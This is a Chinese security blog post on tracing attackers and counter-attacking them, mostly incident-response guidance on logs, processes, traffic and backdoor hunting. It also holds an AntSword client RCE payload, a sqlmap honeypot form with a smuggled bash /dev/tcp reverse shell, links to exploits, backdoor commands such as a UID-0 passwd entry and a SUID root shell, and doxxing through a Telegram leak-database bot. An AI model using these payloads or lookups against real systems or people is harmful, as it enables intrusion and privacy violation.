溯源反制思路整合

雷石安全实验室

共 7166字,需浏览 15分钟

 ·

2021-07-31 10:12

溯源反制思路整合


  • 0x01反制的整体思路

  • 0x02 反制具体思路

    • 0x0201 反制主机

    • 0x0202 反制后门附件

    • 0x0203 反制攻击工具

  • 0x03 拿下傀儡机之后如何进行源IP的查找

    • 0x0301 日志分析

    • 0x0302 进程分析

    • 0x0303 流量分析

    • 0x0304 服务查询

    • 0x0305 其他技巧

    • 通用

  • 0x04 溯源相关思路

    • 根据IP进行溯源

    • 根据域名进行溯源

    • 根据ID溯源

    • 根据病毒源码细节溯源

    • 通过手机号码溯源

  • 总结


0x01反制的整体思路

反入侵得到攻击者机器权限 -> 入侵现场还原,摸清入侵思路 -> 并且须知入侵者的相关后门遗留,以便处理后门 -> 抓取入侵者的真实IP获得地理位置 -> 并按照攻击者的攻击路线加固相关漏洞安全。

0x02 反制具体思路

0x0201 反制主机

傀儡机一般都是具有漏洞的主机,可以使用常规渗透测试的手段进行攻击,这个操作就非常广了,在这里不过多赘述。

0x0202 反制后门附件

  1. 对附件进行逆向分析,得到C2地址,然后对目标ip进行渗透攻击。
  2. 有些钓鱼邮件头中,没有对源地址进行伪装,那么就有可能获取到源IP或者域名
  1. 留下的后门中有对自己的teamserver回传数据,可以通过分析后门,或者查看后门源码得知。

0x0203 反制攻击工具

倘若对方使用带有漏洞版本的攻击工具例如蚁剑、AWVS等,这时候可以使用RCE攻击对其进行反控,高版本蚁剑上此漏洞已经被修复。已知有漏洞的工具版本:

  1. 蚁剑 <=2.0.7可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147

    被发现另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150

    Payload:

    <?php
    if(strlen($_POST[1]) == 153){
    preg_match_all('/echo "(\w+)";/i', $_POST[1], $mat);

    $profix = $mat[1][0];
    $suffix = $mat[1][1];
    echo $profix;?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
    </head>
    <body>
    <h1>Hello World!</h1>
    <p>This window does not have access to node bindings.</p>
    <pre>process: <script>document.write(process)</script></pre>
    <script>
    window.open('data:text/html,But this one does! <br><pre>process.cwd(): <script>document.write(process.cwd());const {spawn} = require("child_process");spawn("open",["/Applications/Calculator.app"]);</scr'+'ipt></pre>');
    </script>
    </body>
    </html>
    <?php
    echo $suffix;
    }else{
    eval($_POST[1]);
    }
  2. awvs 10直接利用exp,等待对方扫描自己,即刻上线。exp下载地址:https://github.com/dzonerzy/acunetix_0day

  3. cobalt strike

    3.5版本teamserver有RCE漏洞

    可以爆破teamserver密码,然后得到黑客攻击的其他傀儡机。

    exp利用地址:https://github.com/ryanohoro/csbruter

  4. sqlmap构造特殊的get或者post注入点来等待攻击者使用sqlmap扫描,例如下图,将get请求中的一个参数的值设置为lsl,倘若直接改成反弹shell的代码即可反控对方机器。

    post利用方式:


    <html>
    <head>
    <title> A sqlmap honeypot demo</title>
    </head>
    <body>
    <input>search the user</input>
    <form id="myForm" action="username.html" method="post" enctype="text/plain">
    <input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
    <input type="button"οnclick="myForm.submit()" value="Submit">
    </form>
    </body>
    </html>

0x03 拿下傀儡机之后如何进行源IP的查找

一般拿到傀儡机之后,就需要查找下一步攻击者的信息了,当然攻击者也很有可能搭建socks代理来攻击,但是还是有可能会发现真实攻击者的蛛丝马迹的。

0x0301 日志分析

01 Web日志分析

Nginx,Apache,IIS,Tomcat

可以查看分析攻击者的IP,访问的UA

可以grep木马页面筛选攻击者IP,

查看日志中某个路径访问最多的10个IP

cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10

02 系统日志分析

可以看到访问者的IP

Windows

日志路径:C:\Windows\System32\winevt\Logs必看日志:Security.evtx、System.evtx、Application.evtx

Linux

  1. 日志路径:/var/log必看日志:secure、history
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
/var/log/syslog 或 /var/log/messages 存储所有的全局系统活动数据,包括开机信息。基于 Debian 的系统如 Ubuntu 在 /var/log/syslog 中存储它们,而基于 RedHat 的系统如 RHEL 或 CentOS 则在 /var/log/messages 中存储它们。
/var/log/auth.log 或 /var/log/secure 存储来自可插拔认证模块(PAM)的日志,包括成功的登录,失败的登录尝试和认证方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存储认证信息,而 RedHat 和 CentOS 则在 /var/log/secure 中存储该信息。
  1. lastlog 查看最后登陆日志

  2. 查看 /var/log/secure日志

  3. history命令 查看历史命令记录,运气好的话可以获得比较关键的信息

0x0302 进程分析

Windows

  1. tasklist

    查看进程列表,eg:tasklist | find "16376"进一步查看16376进程的具体信息。

  2. WMIC扩展WMI(Windows Management Instrumentation,Windows管理规范) ,提供了从命令行接口和批命令脚本执行系统管理的支持。C:\users\fengxuan>wmic wmic:root\cli>

    这时,在命令行再输入process, 就可以查看完整的进程信息了。

  3. windows的任务管理器是很好的进程查看工具,当然大家还可以使用一些其他工具,比如Kernel Detective 来帮助你检测

    https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

Linux

  1. ps

    ps aux  查看进程

  2. /proc/进程号 进程信息 在浏览 /proc 目录的时候您会发现许多目录的名称是一些数字。这些目录保存了当前系统中运行的所有进程的信息。

    img
  3. Top 命令,查看进程占用系统资源情况

  4. lsof命令

0x0303 流量分析

通用

netstat -an 查看网络连接netstat -na|grep ESTABLISHED 查看已经连接上的网络IPnetstat -unltp 查看进程占用的端口号 (很有用)

Windows

wireshark

fiddler

linux

tcpdump

使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap 将抓到的包放到wireshark中进行分析

0x0304 服务查询

Windows

常见的后门技术列表:

1、隐藏、克隆账户test$, 查找方式 :需要在界面上的用户管理查看,而不是单单在命令行查看

2、shift后门 将C盘windows目录下面的system32文件里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe 查找方式 :Md5 sethc.exe 看下是不是cmd.exe 的MD5

certutil -hashfile filename MD5

3、启动项、计划任务

【启动项】

查找方式 :window--开始--所有程序--启动

【组策略欺骗】

组策略,运行gpedit.msc,通过最策略的“脚本(启动/关机)”项来说实现。

查找方式 :

具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

【计划任务】

查找方式 :window--开始--所有程序--附件--系统工具--任务计划程序

4、劫持技术

查找方式 :所谓的映像劫持就是Image File Execution Options(IFEO),位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

查找方式 :

这个注册项中有恶意的键值对就需要排查0.

5、Powershell后门

如何创建稳定的powershell  backdoor  https://github.com/AV1080p/Schtasks-Backdoor

查找方式 :

查看进程中是否有powershell的常驻进程

6、远控软件

Cobaltstrike, 灰鸽子。只能通过进程分析和流量分析才能找到木马。因为cs可以注入到其他进程中比如说System进程。

查找方式 :

通过任务管理器分析进程,还需要通过WSExplorer进行进程抓包。

7、嗅探技术

Cain

查找方式 :

查看进程

LInux

  1. 增加超级用户帐号

    echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

    查找方式 :

    查看 /etc/passwd 是否有UID为0的用户

  2. 破解/嗅控用户密码

    查找方式 :查看进程,分析

  3. 放置SUID Shell

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

查找系统中设置了SUID权限的文件

find / -perm +4000 -exec ls -ld {} \; //查找设置了SUID权限的文件
find / -perm +6000 -exec ls -ld {} \;  //上面的-6000表示既具有suid权限又具有sgid权限的文件
  1. 利用系统服务程序

    修改/etc/inetd.conf
    daytime stream tcp nowait /bin/sh sh –I
    用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序

    查找方式 :查看配置文件,查看文件MD5

  2. TCP/UDP/ICMP Shell

    Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。

    Linux下的icmp shell后门 容易被发现

    http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz

    这个是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py

    查找方式 :查看进程

  3. Crontab定时任务

crontab -l #查看服务

0x0305 其他技巧

  1. 查看公钥,获取攻击者电脑名

  2. 查看其他操作日志记录,比如说Openvpn

通用

查询在线登陆者

LInux:w命令

Windows:query user

进程分析得到的病毒样本,可以在https://x.threatbook.cn/ 微步进行HASH查询,https://www.virustotal.com/ 这个网站上进行查询,可以检测是否为病毒,还有可以得到病毒的C2地址。

0x04 溯源相关思路

根据IP进行溯源

  1. 微步在线

    https://x.threatbook.cn/

    1. https://www.virustotal.com/

  2. 搜索引擎搜索

  3. github搜索

根据域名进行溯源

  1. whois查询
  2. 备案查询
  3. 企查查/天眼查查询
  4. zoomeye/fofa查询

根据ID溯源

  1. 在搜索引擎查找
  2. 在github,gitee,开源中国中查找
  3. 在社交平台上查找,(微信/微博/linkedin/twitter)
  4. 在安全群/安全圈子里询问。

根据病毒源码细节溯源

  1. 查找代码中比较特殊的字符比如说:

    在github中搜索这个特殊字符串“\x47\x4c\x4fB\x41\x4c\x53”。

  2. 查看代码中是否有请求攻击者其他主机的功能,会有IP,域名

通过手机号码溯源

1. 社交平台查询(微信/支付宝/微博/抖音)
2. 通过telegram里社工库机器人进行精准信息查询,机器人ID:@sgkmainbot
3. 查询注册过哪些网站 网站地址:https://www.reg007.com/

总结

这篇文章是我目前知道的溯源反制的所有的操作细节规范,在以后如果有新的技术出现,我也会及时的补充进去,我把这个文档放在Notion上,动态的更新,大家可以随时查看下:

https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8

这里我就放一张思维导图,大家可以在工作的时候参考。

我的公众号:风炫安全


浏览 96
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报